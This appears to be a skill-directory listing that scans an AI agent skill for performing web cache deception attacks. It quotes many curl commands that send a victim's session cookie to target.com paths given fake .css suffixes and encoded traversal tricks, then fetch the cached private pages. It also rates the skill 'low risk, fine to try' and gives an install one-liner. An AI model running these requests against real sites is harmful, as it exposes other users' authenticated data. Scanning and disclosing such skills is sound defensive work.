← All skills
performing-web-cache-deception-attack
90 / 100 · Low risk
Fine to try.
By plurigrid/asi (GitHub) · other · 72 stars · scanned at commit 293ce9f
Execute web cache deception attacks by exploiting path normalization discrepancies between CDN caching layers and origin servers to cache and retrieve sensitive authenticated content.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com
The author does not mention this.
Found in 23 places.
Show 17 more
- plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 58
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 61
curl "http://target.com/account/profile/anything.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 66
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 69
curl -s "http://target.com/account/profile/x.$ext" | head -c 200 - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 78
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 81
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 82
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 85
curl -b "session=VICTIM" "http://target.com/account/profile%00.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 88
curl -b "session=VICTIM" "http://target.com/account/profile%23.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 91
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 100
curl -b "session=VICTIM" "http://target.com/static/../account/profile" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 104
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 107
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 110
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 119
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 122
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" - plugins/asi/skills/performing-web-cache-deception-attack/SKILL.md, line 123
curl "http://target.com/account/profile/./style.css" # Check if cached
and 3 more places
Runs commands on your computer
The author does not mention this.
Found in 6 places.
Show 3 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-web-cache-deception-attack' ] || [ -L ~/.agents/skills/'performing-web-cache-deception-attack' ]; then echo 'A skill folder named performing-web-cache-deception-attack already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/performing-web-cache-deception-attack' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/performing-web-cache-deception-attack' ~/.agents/skills/'performing-web-cache-deception-attack' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-web-cache-deception-attack' ~/.claude/skills/'performing-web-cache-deception-attack' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 90 |